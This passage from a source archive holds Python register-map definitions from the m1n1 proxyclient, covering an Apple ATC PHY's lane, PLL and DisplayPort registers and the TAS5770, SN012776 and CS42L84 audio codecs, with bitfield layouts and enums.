PMA_RXA_TX_CAL_CODE_OV = 30 class R_AUSPMA_RX_SHM_TJ_RXA_TX_CTRL17(Register32): PMA_RXA_TX_MARGIN = 19, 15 PMA_RXA_TX_MARGIN_OV = 20 PMA_RXA_TX_MARGIN_LSB = 21 PMA_RXA_TX_MARGIN_LSB_OV = 22 PMA_RXA_TX_MARGIN_P1 = 26, 23 PMA_RXA_TX_MARGIN_P1_OV = 27 PMA_RXA_TX_MARGIN_P1_LSB = 29, 28 PMA_RXA_TX_MARGIN_P1_LSB_OV = 30 class R_AUSPMA_RX_SHM_TJ_RXA_TX_CTRL18(Register32): PMA_RXA_TX_P1_CODE = 3, 0 PMA_RXA_TX_P1_CODE_OV = 4 PMA_RXA_TX_P1_LSB_CODE = 6, 5 PMA_RXA_TX_P1_LSB_CODE_OV = 7 PMA_RXA_TX_MARGIN_PRE = 10, 8 PMA_RXA_TX_MARGIN_PRE_OV = 11 PMA_RXA_TX_MARGIN_PRE_LSB = 13, 12 PMA_RXA_TX_MARGIN_PRE_LSB_OV = 14 PMA_RXA_TX_PRE_LSB_CODE = 16, 15 PMA_RXA_TX_PRE_LSB_CODE_OV = 17 PMA_RXA_TX_PRE_CODE = 21, 18 PMA_RXA_TX_PRE_CODE_OV = 22 class R_AUSPMA_RX_SHM_TJ_RXA_TERM_CTRL19(Register32): PMA_RXA_TX_TEST_EN = 21 PMA_RXA_TX_TEST_EN_OV = 22 PMA_RXA_TX_EN = 23 PMA_RXA_TX_EN_OV = 24 PMA_RXA_TX_CLK_DLY_CTRL_TAPGEN = 27, 25 PMA_RXA_TX_CLK_DIV2_EN = 28 PMA_RXA_TX_CLK_DIV2_EN_OV = 29 PMA_RXA_TX_CLK_DIV2_RST = 30 PMA_RXA_TX_CLK_DIV2_RST_OV = 31 class R_AUSPMA_RX_SHM_TJ_RXA_VREF_CTRL22(Register32): PMA_RXA_VREF_ADJUST_GRAY = 11, 7 PMA_RXA_VREF_ADJUST_GRAY_OV = 12 PMA_RXA_VREF_BIAS_SEL = 14, 13 PMA_RXA_VREF_BIAS_SEL_OV = 15 PMA_RXA_VREF_BOOST_EN = 16 PMA_RXA_VREF_BOOST_EN_OV = 17 PMA_RXA_VREF_EN = 18 PMA_RXA_VREF_EN_OV = 19 LPBKIN_RECOVERED_DATA = 29, 28 PMA_RXA_TEST_RXLPBKDT_EN = 30 PMA_RXA_TEST_RXLPBKDT_EN_OV = 31 class R_AUSPMA_RX_TOP_TJ_CFG_RX_TXMODE(Register32): RX_TXMODE = 0 class R_ACIOPHY_LANE_DP_CFG_BLK_TX_DP_CTRL0(Register32): DP_PMA_BYTECLK_RESET = 0 DP_MAC_DIV20_CLK_SEL = 1 DPTXPHY_PMA_LANE_RESET_N = 2 DPTXPHY_PMA_LANE_RESET_N_OV = 3 DPTX_PCLK1_SELECT = 6, 4 DPTX_PCLK2_SELECT = 9, 7 DPRX_PCLK_SELECT = 12, 10 DPTX_PCLK1_ENABLE = 13 DPTX_PCLK2_ENABLE = 14 DPRX_PCLK_ENABLE = 15 class AtcPhyRegs(RegMap): ACIOPHY_CFG0 = 0x08, Register32 ACIOPHY_LANE_MODE = 0x48, R_ACIOPHY_LANE_MODE ACIOPHY_CROSSBAR = 0x4C, R_ACIOPHY_CROSSBAR ACIOPHY_BIST_EN = 0x84, Register32 ACIOPHY_BIST_OV = 0x8C, Register32 ACIOPHY_BIST_CFG0 = 0x90, Register32 ACIOPHY_BIST_STAT = 0x9C, Register32 ACIOPHY_BIST_RESET = 0xA8, Register32 ACIOPHY_BIST_CFG1 = 0xAC, Register32 ACIOPHY_SLEEP_CTRL = 0x1B0, Register32 AUS_COMMON_SHIM_BLK_VREG = 0x0A04, R_AUS_COMMON_SHIM_BLK_VREG AUSPLL_FSM_CTRL = 0x1014, R_AUSPLL_FSM_CTRL AUSPLL_CMD_OVERRIDE = 0x2000, R_AUSPLL_CMD_OVERRIDE AUSPLL_CLKOUT_DTC_VREG = 0x2220, R_AUSPLL_CLKOUT_DTC_VREG AUSPLL_DCO_EFUSE_SPARE = 0x222C, R_AUSPLL_DCO_EFUSE_SPARE AUSPLL_FRACN_CAN = 0x22A4, R_AUSPLL_FRACN_CAN CIO3PLL_CLK_CTRL = 0x2A00, R_CIO3PLL_CLK_CTRL CIO3PLL_DTC_VREG = 0x2A20, R_CIO3PLL_DTC_VREG CIO3PLL_DCO_NCTRL = 0x2A38, R_CIO3PLL_DCO_NCTRL CIO3PLL_FRACN_CAN = 0x2AA4, R_CIO3PLL_FRACN_CAN ATCPHY_POWER_CTRL = 0x20000, R_ATCPHY_POWER ATCPHY_POWER_STAT = 0x20004, R_ATCPHY_POWER ATCPHY_MISC = 0x20008, R_ATCPHY_MISC ACIOPHY_LANE_DP_CFG_BLK_TX_DP_CTRL0 = 0x7000, R_ACIOPHY_LANE_DP_CFG_BLK_TX_DP_CTRL0 DPPHY_UNK_1028 = 0x1028, Register32 USB2PHY_AUX_CFG_BLK_AUX_POWER_DOWN_CONTROL_0 = 0x54000, Register32 FABRIC_TUNABLES = irange(0x45000, 0x1000 // 4, 4), Register32 LPDPTX_AUX_CFG_BLK = irange(0x50000, 0x1000 // 4, 4), Register32 LPDPTX_AUX_CFG_BLK_AUX_CTRL = 0x50000, Register32 LPDPTX_AUX_CFG_BLK_AUX_LDO_CTRL = 0x50008, Register32 LPDPTX_AUX_CFG_BLK_AUX_MARGIN = 0x5000c, Register32 LPDPTX_AUX_SHM_CFG_BLK_AUX_CTRL_REG0 = 0x50204, Register32 LPDPTX_AUX_SHM_CFG_BLK_AUX_CTRL_REG1 = 0x50208, Register32 LN0_AUSPMA_RX_TOP = irange(0x9000, 0x1000 // 4, 4), Register32 LN0_AUSPMA_RX_TOP_TJ_CFG_RX_TXMODE = 0x90F0, R_AUSPMA_RX_TOP_TJ_CFG_RX_TXMODE LN0_AUSPMA_RX_EQ = irange(0xA000, 0x1000 // 4, 4), Register32 LN0_AUSPMA_RX_SHM = irange(0xB000, 0x1000 // 4, 4), Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_CTLE_CTRL0 = 0xB000, R_AUSPMA_RX_SHM_TJ_RXA_CTLE_CTRL0 LN0_AUSPMA_RX_SHM_TJ_RXA_AFE_CTRL1 = 0xB004, R_AUSPMA_RX_SHM_TJ_RXA_AFE_CTRL1 LN0_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL2 = 0xB008, Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL3 = 0xB00C, Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL4 = 0xB010, Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL5 = 0xB014, Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL6 = 0xB018, Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL7 = 0xB01C, Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL8 = 0xB020, Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL9 = 0xB024, Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL10 = 0xB028, R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL10 LN0_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL11 = 0xB02C, R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL11 LN0_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL12 = 0xB030, R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL12 LN0_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL13 = 0xB034, R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL13 LN0_AUSPMA_RX_SHM_TJ_UNK_CTRL14A = 0xB038, Register32 LN0_AUSPMA_RX_SHM_TJ_UNK_CTRL14B = 0xB03C, Register32 LN0_AUSPMA_RX_SHM_TJ_UNK_CTRL15A = 0xB040, Register32 LN0_AUSPMA_RX_SHM_TJ_UNK_CTRL15B = 0xB044, Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_SAVOS_CTRL16 = 0xB048, R_AUSPMA_RX_SHM_TJ_RXA_SAVOS_CTRL16 LN0_AUSPMA_RX_SHM_TJ_RXA_TX_CTRL17 = 0xB04C, R_AUSPMA_RX_SHM_TJ_RXA_TX_CTRL17 LN0_AUSPMA_RX_SHM_TJ_RXA_TX_CTRL18 = 0xB050, R_AUSPMA_RX_SHM_TJ_RXA_TX_CTRL18 LN0_AUSPMA_RX_SHM_TJ_RXA_TERM_CTRL19 = 0xB054, R_AUSPMA_RX_SHM_TJ_RXA_TERM_CTRL19 LN0_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL20 = 0xB058, Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL21 = 0xB05C, Register32 LN0_AUSPMA_RX_SHM_TJ_RXA_VREF_CTRL22 = 0xB060, R_AUSPMA_RX_SHM_TJ_RXA_VREF_CTRL22 LN0_AUSPMA_TX_TOP = irange(0xC000, 0x1000 // 4, 4), Register32 LN0_AUSPMA_TX_SHM = irange(0xD000, 0x1000 // 4, 4), Register32 LN0_AUSPMA_TX_SHM_TXA_CFG_MAIN_REG0 = 0xD000, R_AUSPMA_TX_SHM_TXA_CFG_MAIN_REG0 LN0_AUSPMA_TX_SHM_TXA_CFG_MAIN_REG1 = 0xD004, R_AUSPMA_TX_SHM_TXA_CFG_MAIN_REG1 LN0_AUSPMA_TX_SHM_TXA_IMP_REG0 = 0xD008, R_AUSPMA_TX_SHM_TXA_IMP_REG0 LN0_AUSPMA_TX_SHM_TXA_IMP_REG1 = 0xD00C, Register32 LN0_AUSPMA_TX_SHM_TXA_IMP_REG2 = 0xD010, R_AUSPMA_TX_SHM_TXA_IMP_REG2 LN0_AUSPMA_TX_SHM_TXA_IMP_REG3 = 0xD014, R_AUSPMA_TX_SHM_TXA_IMP_REG3 LN0_AUSPMA_TX_SHM_TXA_UNK_REG0 = 0xD018, Register32 LN0_AUSPMA_TX_SHM_TXA_UNK_REG1 = 0xD01C, Register32 LN0_AUSPMA_TX_SHM_TXA_UNK_REG2 = 0xD020, Register32 LN0_AUSPMA_TX_SHM_TXA_LDOCLK = 0xD024, R_AUSPMA_TX_SHM_TXA_LDOCLK LN1_AUSPMA_RX_TOP = irange(0x10000, 0x1000 // 4, 4), Register32 LN1_AUSPMA_RX_TOP_TJ_CFG_RX_TXMODE = 0x100F0, R_AUSPMA_RX_TOP_TJ_CFG_RX_TXMODE LN1_AUSPMA_RX_EQ = irange(0x11000, 0x1000 // 4, 4), Register32 LN1_AUSPMA_RX_SHM = irange(0x12000, 0x1000 // 4, 4), Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_CTLE_CTRL0 = 0x12000, R_AUSPMA_RX_SHM_TJ_RXA_CTLE_CTRL0 LN1_AUSPMA_RX_SHM_TJ_RXA_AFE_CTRL1 = 0x12004, R_AUSPMA_RX_SHM_TJ_RXA_AFE_CTRL1 LN1_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL2 = 0x12008, Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL3 = 0x1200C, Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL4 = 0x12010, Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL5 = 0x12014, Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL6 = 0x12018, Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL7 = 0x1201C, Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL8 = 0x12020, Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL9 = 0x12024, Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL10 = 0x12028, R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL10 LN1_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL11 = 0x1202C, R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL11 LN1_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL12 = 0x12030, R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL12 LN1_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL13 = 0x12034, R_AUSPMA_RX_SHM_TJ_RXA_DFE_CTRL13 LN1_AUSPMA_RX_SHM_TJ_UNK_CTRL14A = 0x12038, Register32 LN1_AUSPMA_RX_SHM_TJ_UNK_CTRL14B = 0x1203C, Register32 LN1_AUSPMA_RX_SHM_TJ_UNK_CTRL15A = 0x12040, Register32 LN1_AUSPMA_RX_SHM_TJ_UNK_CTRL15B = 0x12044, Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_SAVOS_CTRL16 = 0x12048, R_AUSPMA_RX_SHM_TJ_RXA_SAVOS_CTRL16 LN1_AUSPMA_RX_SHM_TJ_RXA_TX_CTRL17 = 0x1204C, R_AUSPMA_RX_SHM_TJ_RXA_TX_CTRL17 LN1_AUSPMA_RX_SHM_TJ_RXA_TX_CTRL18 = 0x12050, R_AUSPMA_RX_SHM_TJ_RXA_TX_CTRL18 LN1_AUSPMA_RX_SHM_TJ_RXA_TERM_CTRL19 = 0x12054, R_AUSPMA_RX_SHM_TJ_RXA_TERM_CTRL19 LN1_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL20 = 0x12058, Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_UNK_CTRL21 = 0x1205C, Register32 LN1_AUSPMA_RX_SHM_TJ_RXA_VREF_CTRL22 = 0x12060, R_AUSPMA_RX_SHM_TJ_RXA_VREF_CTRL22 LN1_AUSPMA_TX_TOP = irange(0x13000, 0x1000 // 4, 4), Register32 LN1_AUSPMA_TX_SHM = irange(0x14000, 0x1000 // 4, 4), Register32 LN1_AUSPMA_TX_SHM_TXA_CFG_MAIN_REG0 = 0x14000, R_AUSPMA_TX_SHM_TXA_CFG_MAIN_REG0 LN1_AUSPMA_TX_SHM_TXA_CFG_MAIN_REG1 = 0x14004, R_AUSPMA_TX_SHM_TXA_CFG_MAIN_REG1 LN1_AUSPMA_TX_SHM_TXA_IMP_REG0 = 0x14008, R_AUSPMA_TX_SHM_TXA_IMP_REG0 LN1_AUSPMA_TX_SHM_TXA_IMP_REG1 = 0x1400C, Register32 LN1_AUSPMA_TX_SHM_TXA_IMP_REG2 = 0x14010, R_AUSPMA_TX_SHM_TXA_IMP_REG2 LN1_AUSPMA_TX_SHM_TXA_IMP_REG3 = 0x14014, R_AUSPMA_TX_SHM_TXA_IMP_REG3 LN1_AUSPMA_TX_SHM_TXA_UNK_REG0 = 0x14018, Register32 LN1_AUSPMA_TX_SHM_TXA_UNK_REG1 = 0x1401C, Register32 LN1_AUSPMA_TX_SHM_TXA_UNK_REG2 = 0x14020, Register32 LN1_AUSPMA_TX_SHM_TXA_LDOCLK = 0x14024, R_AUSPMA_TX_SHM_TXA_LDOCLK ACIOPHY_TOP_TUNABLE_118 = 0x118, Register32 ACIOPHY_TOP_TUNABLE_11c = 0x11C, Register32 ACIOPHY_TOP_TUNABLE_124 = 0x124, Register32 ACIOPHY_TOP_TUNABLE_a00 = 0xA00, Register32 ACIOPHY_TOP_TUNABLE_808 = 0x808, Register32 AUSPLL_TOP_FREQ_DESC_0A = 0x2080, Register32 AUSPLL_TOP_FREQ_DESC_0B = 0x2084, Register32 AUSPLL_TOP_FREQ_DESC_0C = 0x2088, Register32 AUSPLL_TOP_TUNABLE_2094 = 0x2094, Register32 AUSPLL_TOP_TUNABLE_20a0 = 0x20A0, Register32 AUSPLL_TOP_TUNABLE_20ac = 0x20AC, Register32 AUSPLL_TOP_TUNABLE_20b8 = 0x20B8, Register32 CIO3PLL_TOP_TUNABLE_10 = 0x2810, Register32 CIO3PLL_TOP_TUNABLE_88 = 0x2888, Register32 CIO3PLL_TOP_TUNABLE_94 = 0x2894, Register32 CIO3PLL_CORE_TUNABLE_1c = 0x2A1C, Register32 CIO3PLL_CORE_TUNABLE_28 = 0x2A28, Register32 CIO3PLL_CORE_TUNABLE_9c = 0x2A9C, Register32 AUSPLL_CORE_TUNABLE_78 = 0x2278, Register32 m1n1-1.4.11/proxyclient/m1n1/hw/codecs/000077500000000000000000000000001453754430200173735ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/hw/codecs/__init__.py000066400000000000000000000043361453754430200215120ustar00rootroot00000000000000from m1n1.utils import RegMap, Register8 from enum import IntEnum from .cs42l84 import * from .ssm3515 import * class E_PWR_MODE(IntEnum): ACTIVE = 0 MUTE = 1 SHUTDOWN = 2 class R_PWR_CTL(Register8): ISNS_PD = 3 VSNS_PD = 2 MODE = 1, 0, E_PWR_MODE class R_PB_CFG0(Register8): PDM_MAP = 7 PB_PDM_SRC = 6 PB_SRC = 5 AMP_LEVEL = 4, 0 class R_PB_CFG2(Register8): DVC_PCM = 7, 0 class R_PB_CFG3(Register8): DVC_PDM = 7, 0 class E_RX_SCFG(IntEnum): I2C_OFFSET = 0b00 LEFT = 0b01 RIGHT = 0b10 DOWNMIX = 0b11 class E_RX_WLEN(IntEnum): W_16BIT = 0b00 W_20BIT = 0b01 W_24BIT = 0b10 W_32BIT = 0b11 class E_RX_SLEN(IntEnum): W_16BIT = 0b00 W_24BIT = 0b01 W_32BIT = 0b10 class R_TDM_CFG2(Register8): RX_SCFG = 5, 4, E_RX_SCFG RX_WLEN = 3, 2, E_RX_WLEN RX_SLEN = 1, 0, E_RX_SLEN class R_TDM_CFG3(Register8): RX_SLOT_R = 7, 4 RX_SLOT_L = 3, 0 class TAS5770Regs(RegMap): PWR_CTL = 0x002, R_PWR_CTL PB_CFG0 = 0x003, R_PB_CFG0 PB_CFG2 = 0x005, R_PB_CFG2 PB_CFG3 = 0x006, R_PB_CFG3 TDM_CFG2 = 0x00c, R_TDM_CFG2 TDM_CFG3 = 0x00d, R_TDM_CFG3 class R_MODE_CTRL(Register8): BOP_SRC = 7 ISNS_PD = 3 VSNS_PD = 2 MODE = 1, 0, E_PWR_MODE class R_CHNL_0(Register8): CDS_MODE = 7, 6 AMP_LEVEL = 5, 1 class R_DVC(Register8): DVC_LVL = 7, 0 class R_INT_MASK0(Register8): BOPM = 7 BOPIH = 6 LIMMA = 5 PBIP = 4 LIMA = 3 TDMCE = 2 OC = 1 OT = 0 class R_INT_CLK_CFG(Register8): CLK_ERR_PWR_EN = 7 DIS_CLK_HAT = 6 CLK_HALT_TIMER = 5, 3 IRQZ_CLR = 2 IRQZ_PIN_CFG = 1, 0 class SN012776Regs(RegMap): MODE_CTRL = 0x002, R_MODE_CTRL CHNL_0 = 0x003, R_CHNL_0 DVC = 0x01a, R_DVC INT_MASK0 = 0x03b, R_INT_MASK0 INT_MASK1 = 0x03c, Register8 INT_MASK2 = 0x040, Register8 INT_MASK3 = 0x041, Register8 INT_MASK4 = 0x03d, Register8 INT_LTCH0 = 0x049, R_INT_MASK0 INT_LTCH1 = 0x04a, Register8 INT_LTCH1_0 = 0x04b, Register8 INT_LTCH2 = 0x04f, Register8 INT_LTCH3 = 0x050, Register8 INT_LTCH4 = 0x051, Register8 INT_CLK_CFG = 0x05c, R_INT_CLK_CFG m1n1-1.4.11/proxyclient/m1n1/hw/codecs/cs42l84.py000066400000000000000000000206271453754430200210570ustar00rootroot00000000000000from m1n1.utils import Register8, Register16, Register32, RegMap, irange from enum import IntEnum class R_IRQ_MASK1(Register8): RING_PLUG = 0 RING_UNPLUG = 1 TIP_PLUG = 2 TIP_UNPLUG = 3 class R_IRQ_MASK3(Register8): HSDET_AUTO_DONE = 7 class E_DCID_GND_SEL(IntEnum): NONE = 0 HS3 = 1 HS4 = 2 class E_DCID_Z_RANGE(IntEnum): NONE = 0 UNK2 = 2 UNK3 = 3 class R_DCID_CTRL1(Register8): Z_RANGE = 2, 0, E_DCID_Z_RANGE class R_DCID_CTRL2(Register8): GND_SEL = 6, 4, E_DCID_GND_SEL class R_DCID_CTRL3(Register8): START = 0 class R_DCID_STATUS(Register32): OVERALL = 9, 0 DONE = 10 U = 20, 11 D = 30, 21 class E_DEBOUNCE_TIME(IntEnum): T_0MS = 0b000 T_125MS = 0b001 T_250MS = 0b010 T_500MS = 0b011 T_750MS = 0b100 T_1S = 0b101 class R_TR_SENSE_CTRL(Register8): INV = 7 UNK1 = 6 FALLTIME = 5, 3, E_DEBOUNCE_TIME RISETIME = 2, 0, E_DEBOUNCE_TIME class R_TR_SENSE_STATUS(Register8): RING_PLUG = 0 RING_UNPLUG = 1 TIP_PLUG = 2 TIP_UNPLUG = 3 class R_HS_DET_STATUS2(Register8): HS_TRUE = 1 SHORT_TRUE = 0 class R_MSM_BLOCK_EN1(Register8): pass class R_MSM_BLOCK_EN2(Register8): ASP_EN = 6 BUS_EN = 5 DAC_EN = 4 ADC_EN = 3 class R_MSM_BLOCK_EN3(Register8): TR_SENSE_EN = 3 DCID_EN = 4 class R_HS_CLAMP_DISABLE(Register8): HS_CLAMP_DISABLE = 0 class E_SAMP_RATE(IntEnum): S_16KHZ = 1 S_24KHZ = 2 S_32KHZ = 3 S_48KHZ = 4 S_96KHZ = 5 S_192KHZ = 6 S_22K05HZ = 10 S_44K1HZ = 12 S_88K2HZ = 13 S_176K4HZ = 14 class E_MCLK_SRC(IntEnum): RCO = 0b00 MCLK_PIN = 0b01 BCLK = 0b10 PLL = 0b11 class E_MCLK_FREQ(IntEnum): F_12MHZ = 0b00 F_24MHZ = 0b01 F_12_288KHZ = 0b10 F_24_576KHZ = 0b11 class R_CCM_CTRL1(Register8): MCLK_SRC = 1, 0, E_MCLK_SRC MCLK_FREQ = 3, 2, E_MCLK_FREQ class E_REFCLK_DIV(IntEnum): DIV1 = 0b00 DIV2 = 0b01 DIV4 = 0b10 DIV8 = 0b11 class R_CCM_CTRL3(Register8): REFCLK_DIV = 2, 1, E_REFCLK_DIV REFCLK_IS_MCLK = 0 # BLCK otherwise class R_CCM_CTRL4(Register8): REFCLK_EN = 0 class R_CCM_SAMP_RATE(Register8): RATE = 7, 0, E_SAMP_RATE class E_PLL_MODE(IntEnum): UNSUPP = 0b00 BYPASS_512 = 0b01 BYPASS_1024 = 0b10 BYPASS_BOTH = 0b11 class R_PLL_CTRL(Register8): MODE = 2, 1, E_PLL_MODE EN = 0 class E_WNF_CF(IntEnum): F_UNK = 0b00 F_300HZ = 0b11 class R_ADC_CTRL1(Register8): PREAMP_GAIN = 7, 6 PGA_GAIN = 5, 0 class R_ADC_CTRL4(Register8): # maybe WNF_CF = 5, 4, E_WNF_CF WNF_EN = 3 class R_DAC_CTRL1(Register8): UNMUTE = 0 HP_LOAD = 2 # maybe UNK1 = 3 UNK2 = 4 UNK3 = 5 HIGH_V = 6 class E_PULLDOWN_R(IntEnum): NONE = 0x0 R_UNK8 = 0x8 R_1K1OHMS = 0xc class R_DAC_CTRL2(Register8): PULLDOWN_R = 3, 0, E_PULLDOWN_R class R_HP_VOL_CTRL(Register8): ZERO_CROSS = 1 SOFT = 0 class E_BUS_SOURCE(IntEnum): EMPTY = 0b0000 ADC = 0b0111 ASP_RX_CH1 = 0b1101 ASP_RX_CH2 = 0b1110 class R_BUS_DAC_SRC(Register8): CHB = 7, 4, E_BUS_SOURCE CHA = 3, 0, E_BUS_SOURCE class R_BUS_ASP_TX_SRC(Register8): CH2 = 7, 4, E_BUS_SOURCE CH1 = 3, 0, E_BUS_SOURCE class E_HSBIAS_SENSE_TRIP(IntEnum): C_12UA = 0b000 C_23UA = 0b001 C_41UA = 0b010 C_52UA = 0b011 C_64UA = 0b100 C_75UA = 0b101 C_93UA = 0b110 C_104UA = 0b111 class R_HSBIAS_SC_AUTOCTL(Register8): HSBIAS_SENSE_EN = 7 AUTO_HSBIAS_HIZ = 6 TIP_SENSE_EN = 5 SENSE_TRIP = 2, 0, E_HSBIAS_SENSE_TRIP class E_TIP_SENSE_CTRL(IntEnum): DISABLED = 0b00 DIG_INPUT = 0b01 SHORT_DET = 0b11 class R_TIP_SENSE_CTRL2(Register8): CTRL = 7, 6, E_TIP_SENSE_CTRL INV = 5 class E_HSBIAS_DET_MODE(IntEnum): DISABLED = 0b00 SHORT_DET = 0b01 NORMAL = 0b11 class E_HSBIAS_CTRL(IntEnum): HI_Z = 0b00 U_0V0 = 0b01 U_2V0 = 0b10 U_2V7 = 0b11 class R_MISC_DET_CTRL(Register8): UNK1 = 7 DETECT_MODE = 4, 3, E_HSBIAS_DET_MODE HSBIAS_CTRL = 2, 1, E_HSBIAS_CTRL PDN_MIC_LVL_DET = 0 class E_S0_DEBOUNCE_TIME(IntEnum): T_10MS = 0b000 T_20MS = 0b001 T_30MS = 0b010 T_40MS = 0b011 T_50MS = 0b100 T_60MS = 0b101 T_70MS = 0b110 T_80MS = 0b111 class R_MIC_DET_CTRL2(Register8): DEBOUNCE_TIME = 7, 5, E_S0_DEBOUNCE_TIME class R_MIC_DET_CTRL4(Register8): LATCH_TO_VP = 1 class R_HS_DET_CTRL2(Register8): CTRL = 7, 6 SET = 5, 4 REF = 3 AUTO_TIME = 1, 0 class R_HS_SWITCH_CTRL(Register8): REF_HS3 = 7 REF_HS4 = 6 HSB_FILT_HS3 = 5 HSB_FILT_HS4 = 4 HSB_HS3 = 3 HSB_HS4 = 2 GNDHS_HS3 = 1 GNDHS_HS4 = 0 class R_ASP_CTRL(Register8): TDM_MODE = 2 BCLK_EN = 1 class R_ASP_FSYNC_CTRL23(Register16): BCLK_PERIOD = 12, 1 class R_ASP_TX_HIZ_DLY_CTRL(Register8): DRV_Z = 5, 4 HIZ_DELAY = 3, 2 FS = 1 UNK1 = 0 class R_ASP_RX_EN(Register8): CH2_EN = 1 CH1_EN = 0 class R_ASP_CH_CTRL(Register32): WIDTH = 23, 16 SLOT_START = 10, 1 EDGE = 0 # set for rising edge class CS42L84Regs(RegMap): DEVID = irange(0x0, 5), Register8 FREEZE = 0x6, Register8 SW_RESET = 0x203, Register8 IRQ_STATUS1 = 0x400, R_IRQ_MASK1 IRQ_STATUS2 = 0x401, Register8 IRQ_STATUS3 = 0x402, R_IRQ_MASK3 PLL_LOCK_STATUS = 0x40e, Register8 # bit 0x10 IRQ_MASK1 = 0x418, R_IRQ_MASK1 IRQ_MASK2 = 0x419, Register8 IRQ_MASK3 = 0x41a, R_IRQ_MASK3 CCM_CTRL1 = 0x600, R_CCM_CTRL1 CCM_SAMP_RATE = 0x601, R_CCM_SAMP_RATE CCM_CTRL3 = 0x602, R_CCM_CTRL3 CCM_CTRL4 = 0x603, R_CCM_CTRL4 CCM_ASP_CLK_CTRL = 0x608, Register8 PLL_CTRL = 0x800, R_PLL_CTRL PLL_DIV_FRAC = irange(0x804, 3), Register8 PLL_DIV_INT = 0x807, Register8 PLL_DIVOUT = 0x808, Register8 DCID_CTRL1 = 0x1200, R_DCID_CTRL1 DCID_CTRL2 = 0x1201, R_DCID_CTRL2 DCID_CTRL3 = 0x1202, R_DCID_CTRL3 DCID_TRIM_OFFSET = 0x1207, Register8 DCID_TRIM_SLOPE = 0x120a, Register8 # R_pull = 1100 - (regval - 128)*2 DCID_PULLDOWN_TRIM = 0x120b, Register8 DCID_STATUS = 0x120c, R_DCID_STATUS # tip/ring sense TR_SENSE_CTRL1 = 0x1280, Register8 TR_SENSE_CTRL2 = 0x1281, Register8 RING_SENSE_CTRL = 0x1282, R_TR_SENSE_CTRL TIP_SENSE_CTRL = 0x1283, R_TR_SENSE_CTRL TR_SENSE_STATUS = 0x1288, R_TR_SENSE_STATUS HSBIAS_SC_AUTOCTL = 0x1470, R_HSBIAS_SC_AUTOCTL WAKE_CTRL = 0x1471, Register8 TIP_SENSE_CTRL2 = 0x1473, R_TIP_SENSE_CTRL2 MISC_DET_CTRL = 0x1474, R_MISC_DET_CTRL MIC_DET_CTRL2 = 0x1478, R_MIC_DET_CTRL2 MIC_DET_CTRL4 = 0x1477, R_MIC_DET_CTRL4 HS_DET_STATUS1 = 0x147c, Register8 HS_DET_STATUS2 = 0x147d, R_HS_DET_STATUS2 HS_DET_IRQ_MASK = irange(0x1480, 2), Register8 HS_DET_IRQ_STATUS = irange(0x1484, 2), Register8 MSM_BLOCK_EN1 = 0x1800, R_MSM_BLOCK_EN1 MSM_BLOCK_EN2 = 0x1801, R_MSM_BLOCK_EN2 MSM_BLOCK_EN3 = 0x1802, R_MSM_BLOCK_EN3 HS_DET_CTRL1 = 0x1810, Register8 HS_DET_CTRL2 = 0x1811, R_HS_DET_CTRL2 HS_SWITCH_CTRL = 0x1812, R_HS_SWITCH_CTRL HS_CLAMP_DISABLE = 0x1813, R_HS_CLAMP_DISABLE ADC_CTRL1 = 0x2000, R_ADC_CTRL1 ADC_CTRL2 = 0x2001, Register8 # volume ADC_CTRL3 = 0x2002, Register8 ADC_CTRL4 = 0x2003, R_ADC_CTRL4 DAC_CTRL1 = 0x3000, R_DAC_CTRL1 DAC_CTRL2 = 0x3001, R_DAC_CTRL2 DACA_VOL_LSB = 0x3004, Register8 DACA_VOL_MSB = 0x3005, Register8 # sign bit DACB_VOL_LSB = 0x3006, Register8 DACB_VOL_MSB = 0x3007, Register8 # sign bit HP_VOL_CTRL = 0x3020, R_HP_VOL_CTRL HP_CLAMP_CTRL = 0x3123, Register8 BUS_ASP_TX_SRC = 0x4000, R_BUS_ASP_TX_SRC BUS_DAC_SRC = 0x4001, R_BUS_DAC_SRC ASP_CTRL = 0x5000, R_ASP_CTRL ASP_FSYNC_CTRL23 = 0x5010, R_ASP_FSYNC_CTRL23 ASP_DATA_CTRL = 0x5018, R_ASP_TX_HIZ_DLY_CTRL ASP_RX_EN = 0x5020, R_ASP_RX_EN ASP_TX_EN = 0x5024, Register8 ASP_RX1_CTRL = 0x5028, 